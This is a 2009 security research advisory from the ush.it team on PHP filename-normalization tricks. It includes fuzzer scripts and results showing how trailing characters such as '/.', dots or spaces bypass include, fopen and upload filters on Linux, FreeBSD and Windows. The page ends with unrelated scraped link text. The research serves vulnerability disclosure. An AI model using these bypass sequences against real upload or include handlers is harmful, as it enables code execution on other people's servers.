http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/

Did you enjoyed our previous "PHP filesystem attack vectors" research? This is the second part and continuation of that paper and highlight new ways to evade filters using some path normalization issues. Have a nice reading!

PHP filesystem attack vectors - Take Two

 Name              PHP filesystem attack vectors - Take Two
Systems Affected PHP and PHP+Suhosin
Vendor http://www.php.net/
Advisory http://www_ush_it/team/ush/hack-phpfs/phpfs_mad_2.txt
Authors Giovanni "evilaliv3" Pellerano (evilaliv3 AT ush DOT it)
Antonio "s4tan" Parata (s4tan AT ush DOT it)
Francesco "ascii" Ongaro (ascii AT ush DOT it)
Alessandro "jekil" Tanasi (alessandro AT tanasi DOT it)
Date 20090725 I) Introduction
II) PHP arbitrary Local File Inclusion testing
III) PHP arbitrary Local File Inclusion results
IV) PHP arbitrary File Open testing
V) PHP arbitrary File Open results
VI) PHP arbitrary Remote File Upload testing
VII) PHP arbitrary Remote File Upload results
VIII) Conclusions
IX) References I) Introduction This is the second part and continuation of our previous "PHP filesystem
attack vectors" [1] research. Working with s4tan and ascii on the "SugarCRM 5.2.0e Remote Code
Execution" advisory [2] we noticed a strange behaviour on Windows OS:
trying to upload a file named "a.php." results in just "a.php". Analyzing this we noticed that every time an application, or manually,
was trying to open or save a file with one ore more dots at the end,
Windows was not denying the operation, but it was removing the dots in a
transparent way. Mindful readers probably have already spotted the issue. We wanted to take our time for a deeper investigation about what
normalization issues were available and how to take advantage of them
in order to exploit arbitrary local file inclusion/handling and uploads
functionalities (not only on Windows OS but also on GNU/Linux and *BSD). Below you can find the sources of two simple "academic" fuzzers, later
results are discussed and finally POCs and conclusions are proposed. II) PHP arbitrary Local File Inclusion testing This tests include(), include_once(), require(), require_once() and
similiar functions. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- alfi_fuzzer.php: <?php error_reporting(0); $InterestingFile = "test_alfi.php";
$fh = @fopen($InterestingFile, 'w+');
fwrite($fh, "<?php ?>");
fclose($fh); for ($i = 1; $i < 256; $i++) {
$chri = chr($i);
for ($j = 0; $j < 256; $j++) {
$chrj = chr($j);
for ($k = 0; $k < 256; $k++) {
$chrk = chr($k);
if($chri.$chrj.$chrk == '://') continue;
if ($j == 0) $FuzzyFile = $InterestingFile.$chri;
else if ($k == 0) $FuzzyFile = $InterestingFile.$chri.$chrj;
else $FuzzyFile = $InterestingFile.$chri.$chrj.$chrk;
if(include($FuzzyFile)) {
print($i." ".$j." ".$k." [".$FuzzyFile."]\n");
fclose($fh);
}
if($j == 0) break;
}
}
} unlink($InterestingFile); ?> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Note: This code and the one that will be presented in section IV only
makes use of chars from the ASCII extended table (256 chars) to limit the
combinations because our intent was to test not only a malicious ending
char but a whole ending "extension" of 3 bytes. A better fuzzer would include UTF-8. In the test we also do not
consider \x00, because this vector is already known [3, 4]. III) PHP arbitrary Local File Inclusion results --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.2.10-pl0-Gentoo PHPFS_MAD2 $ php alfi_fuzzer.php
47 46 46 [test_alfi.php/.]
47 47 47 [test_alfi.php//.] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27 PHPFS_MAD2 $ php alfi_fuzzer.php [ NO RESULTS ] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7 PHPFS_MAD2 $ php alfi_fuzzer.php [ NO RESULTS ] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<- PHP 5.3.0 Windows XP (WampServer 2.0i install) C:\PHPFS_MAD2> php alfi_fuzzer.php
! Valid chars are: \x20 ( ), \x22 ("), \x2E (.), \x3C (<), \x3E (>)
! Valid strings are all combinations of the above chars. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install) C:\PHPFS_MAD2> php alfi_fuzzer.php
! Valid chars are: \x20 ( ), \x22 ("), \x2E (.), \x3C (<), \x3E (>)
! Valid strings are all combinations of the above chars. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- IV) PHP arbitrary File Open testing This tests fopen() and similiar functions. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- afo_fuzzer.php: <?php error_reporting(0); $MaliciousFile = "test_afo.php"; for ($i = 1; $i < 256; $i++) {
$chri = chr($i);
for ($j = 0; $j < 256; $j++) {
$chrj = chr($j);
for ($k = 0; $k < 256; $k++) {
if ($j == 0) $FuzzyFile = $MaliciousFile.$chri;
else if ($k == 0) $FuzzyFile = $MaliciousFile.$chri.$chrj;
else $FuzzyFile = $MaliciousFile.$chri.$chrj.chr($k);
$fh = @fopen($FuzzyFile, 'w+');
if ($fh != FALSE) {
fwrite($fh, $FuzzyFile);
fclose($fh);
if (file_exists($MaliciousFile)) {
if ($j == 0) print($i." ");
else if ($k == 0) print($i." ".$j." ");
else $FuzzyFile = print($i." ".$j." ".$k." ");
print("[".file_get_contents($MaliciousFile)."]\n");
unlink($MaliciousFile);
} else
unlink($FuzzyFile);
}
if($j == 0)
break;
}
}
} ?> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- V) PHP arbitrary File Open Fuzzer results --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.2.10-pl0-Gentoo PHPFS_MAD2 $ php afo_fuzzer.php
47 46 [test_afo.php/.]
47 47 46 [test_afo.php//.] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27 PHPFS_MAD2 $ php afo_fuzzer.php [ NO RESULTS ] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<- PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7 PHPFS_MAD2 $ php afo_fuzzer.php 47 46 [test_afo.php/.]
47 47 46 [test_afo.php//.] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<- PHP 5.3.0 Windows XP (WampServer 2.0i install) C:\PHPFS_MAD2> php afo_fuzzer.php ! Valid chars are: \x2E (.), \x2F (/), \x5C (\)
! Valid strings are all combinations of the above chars. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install) C:\PHPFS_MAD2> php afo_fuzzer.php ! Valid chars are: \x2E (.), \x2F (/), \x5C (\)
! Valid strings are all combinations of the above chars. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- VI) PHP arbitrary Remote File Upload testing This tests move_uploaded_file() and similiar functions. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- upload.php: <?php error_reporting(0); $MaliciousFile = "evil.php"; if (isset($_GET['fuzzy'])) {
$FuzzyDestination = $MaliciousFile.$_GET['fuzzy'];
move_uploaded_file($_FILES['userfile']['tmp_name'], $FuzzyDestination);
printf($FuzzyDestination);
if (file_exists($MaliciousFile)) {
echo "SUCCESS";
unlink($MaliciousFile);
exit();
} else {
unlink($FuzzyDestination);
}
} echo "FAIL"; ?> arfu_fuzzer.sh: #!/bin/bash touch "uploadtest.txt"
url="http://127.0.0.1/uploads/upload.php?fuzzy=" for i in {1..255}; do
xi="%`printf %02x $i`"
for j in {0..255}; do
xj="%`printf %02x $j`"
for k in {0..255}; do
xk="%`printf %02x $k`" ext="$xi$xj$xk"
[ $k -eq 0 ] && ext="$xi$xj"
[ $k -eq 0 ] && [ $j -eq 0 ] && ext="$xi" response=`curl -kis -F "userfile=@uploadtest.txt;" $url$ext | grep
SUCCESS | wc -l` if [ "$response" == "1" ]; then
echo "Found: $i $j $k -> ($ext)";
fi [ $j -eq 0 ] && break done
done
done --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- VII) PHP arbitrary Remote File Upload results --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.2.10-pl0-Gentoo PHPFS_MAD2 $ sh test_arfu.sh FOUND: 47 0 0 -> (/)
FOUND: 47 46 0 -> (/.) --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27 PHPFS_MAD2 $ sh test_arfu.sh FOUND: 47 0 0 -> (/)
FOUND: 47 46 0 -> (/.) --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<- PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7 PHPFS_MAD2 $ sh test_arfu.sh FOUND: 47 46 0 -> (/.) --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<- PHP 5.3.0 Windows XP (WampServer 2.0i install) PHPFS_MAD2 $ sh test_arfu.sh [ All the combinations of (space), ., /, \ are valid ones. ] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install) PHPFS_MAD2 $ sh test_arfu.sh [ All the combinations of (space), ., /, \ are valid ones. ] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- VIII) Conclusions We found that it's possible to take advantage of filename normalization
routines in order to bypass common web application security routines,
detailed below: - On GNU/Linux both (include|require)(_once)? functions will convert
"foo.php" followed by one or more sequences of \x2F (/) and \x2E (.)
back to "foo.php".
This does not work if Suhosin patch is applied. - On GNU/Linux the fopen function will convert "foo.php" followed by one
or more sequences of \x2F (/) and \x2E (.) back to "foo.php".
This does not work if Suhosin patch is applied. - On GNU/Linux move_uploaded_file function will convert "foo.php"
followed by one or more sequences of \x2F (/) and \x2E (.) back to
"foo.php".
This does work anyway *also* if Suhosin patch is applied. - On FreeBSD the fopen function will convert "foo.php" followed by one
or more sequences of \x2F (/) and \x2E (.) back to "foo.php".
This does work anyway *also* if Suhosin patch is applied.
Suhosin is shipped in the the default install. - On FreeBSD the move_uploaded_file function will convert "foo.php"
followed by one or more sequences of \x2F (/) and \x2E (.) back to
"foo.php".
This does work anyway *also* if Suhosin patch is applied.
Suhosin is shipped in the the default install. - On Windows OS both (include|require)(_once)? functions will convert
"foo.php" followed by one or more of the chars \x20 ( ), \x22 ("),
\x2E (.), \x3C (<), \x3E (>) back to "foo.php". - On Windows OS the fopen function will convert "foo.php" followed by
one or more of the chars \x2E (.), \x2F (/), \x5C (\) back to
"foo.php". - On Windows OS move_uploaded_file function will convert "foo.php"
followed by one or more of the chars \x2E (.), \x2F (/), \x5C (\)
back to "foo.php". We have observed that some particular strings like "foo.php./" or
"foo.php.\" force Windows to create a file called "foo.php.". It
seems that Windows' functions do not contemplate the existence of
a file with dots at the end (perhaps Windows hackers can better
comment on this). All functions on that file will fail their attempt, so that it's not
possible to easily delete or rename that file (one has to do del *
or similiar). IX) References [1] http://www_ush_it/2009/02/08/php-filesystem-attack-vectors/
http://www_ush_it/team/ush/hack-phpfs/phpfs_mad.txt
[2] http://www_ush_it/team/ush/hack-sugarcrm_520e/adv.txt
[3] http://www.securiteam.com/securitynews/5FP0C0KJPQ.html
[4] http://ha.ckers.org/blog/20060914/php-vulnerable-to-null-byte-injection/ --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Credits (Out of band) This article has been bought to you by the ush.it team. Giovanni
"evilaliv3" Pellerano, Antonio "s4tan" Parata and Francesco "ascii"
Ongaro are the ones who spent most hours on it with the precious help
of Alessandro "Jekil" Tanasi, Florin "Slippery" Iamandi and many other
friends. Giovanni "evilaliv3" Pellerano
web site: http://www_ush_it/, http://www.evilaliv3.org/
mail: evilaliv3 AT ush DOT it Antonio "s4tan" Parata
web site: http://www_ush_it/
mail: s4tan AT ush DOT it Francesco "ascii" Ongaro
web site: http://www_ush_it/
mail: ascii AT ush DOT it Alessandro "jekil" Tanasi
web site: http://www.tanasi.it/
mail: alessandro AT tanasi DOT it --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Legal Notices Copyright (c) 2009 Francesco "ascii" Ongaro Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission. Disclaimer: The information in the article is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.

PHP filesystem attack vectors - Take Two的更多相关文章

  1. PHP filesystem attack vectors

    http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ On Apr 07, 2008 I spoke with Kuza55 and ...

  2. XML External Entity attack

    解析外部xml给本地带来的安全隐患. https://en.wikipedia.org/wiki/XML_external_entity_attack An XML External Entity ( ...

  3. (转) [it-ebooks]电子书列表

    [it-ebooks]电子书列表   [2014]: Learning Objective-C by Developing iPhone Games || Leverage Xcode and Obj ...

  4. PatentTips - Hardware virtualization such as separation kernel hypervisors

    BACKGROUND 1. Field Innovations herein pertain to computer virtualization, computer security and/or ...

  5. A Study of WebRTC Security

    转自:http://webrtc-security.github.io/ A Study of WebRTC Security Abstract Web Real-Time Communication ...

  6. Java开源框架推荐(全)

    Build Tool Tools which handle the buildcycle of an application. Apache Maven - Declarative build and ...

  7. ASP.NET 4.0 potentially dangerous Request.Form value was detected

    A few days ago, while working on an ASP.NET 4.0 Web project, I got an issue. The issue was, when use ...

  8. backtrack5渗透 笔记

    目录        1.信息收集        2.扫描工具        3.漏洞发现        4.社会工程学工具        5.运用层攻击msf        6.局域网攻击       ...

  9. Metasploit 笔记

    目录一.名词解释···································································· 3二.msf基础··············· ...

随机推荐

  1. checkbox全选和子选

    用jq: $(function() { var $subBox = $("input[name='subBox']"); $("#checkAll").clic ...

  2. 用DOM4J解析XML文件案例

    用DOM4J解析XML文件案例,由于DOM4J不像JAXP属于JAVASE里,所以如果要使用DOM4J,则必须额外引入jar包,如图:

  3. Linux常用命令之安装VMware10中安装CentOS 6.4

    笔者用过的Linux系统也就是现在主流的企业级linu系统RedHat跟CentOS,这边主要介绍下CentOS 6.4的安装 RedHat和CentOS差别不大,CentOS是一个基于RedHat  ...

  4. BIT LA 4329 Ping pong

    题目传送门 题意:训练指南P197 分析:枚举裁判的位置,用树状数组来得知前面比它小的和大的以及后面比它小的和大的,然后O (n)累加小 * 大 + 大 * 小 就可以了 #include <b ...

  5. 如何让Ue4画面产生振动效果

    可以使用CameraShake蓝图类,对应的C++类为UCameraShake. 这个类是通过修改PlayerController来达到效果

  6. 由case 和 break 引发的思考

    我在使用case 语句的时候,发现结果不对劲,原来我是忽略了break这个语句的添加 然后,我要反思的是,这样基本的语句,我这样的错误也能犯,证明我自己之前还没有真正掌握这个语句的使用. 所以,真正地 ...

  7. java常用

    文件读写几种形式 http://www.cnblogs.com/qianbi/p/3378466.html java的get post请求 http://www.cnblogs.com/zhuawan ...

  8. 关于NSNotificationCenter消息通信用法

    NSNotificationCenter主要用于广播消息到多个监听着,其传统用法 - (void)viewDidLoad { [super viewDidLoad]; [[NSNotification ...

  9. 洛谷 P1379 八数码难题 Label:判重&&bfs

    特别声明:紫书上抄来的代码,详见P198 题目描述 在3×3的棋盘上,摆有八个棋子,每个棋子上标有1至8的某一数字.棋盘中留有一个空格,空格用0来表示.空格周围的棋子可以移到空格中.要求解的问题是:给 ...

  10. 【BZOJ】2237: [NCPC2009]Flight Planning

    题意 \(n(1 \le n \le 2500)\)个点的树,求删掉一条边再加上一条边使得还是一棵树,且任意两点最大距离最小. 分析 考虑枚举删掉每一条边,我们只需要考虑如何加边容易求得新树的最大距离 ...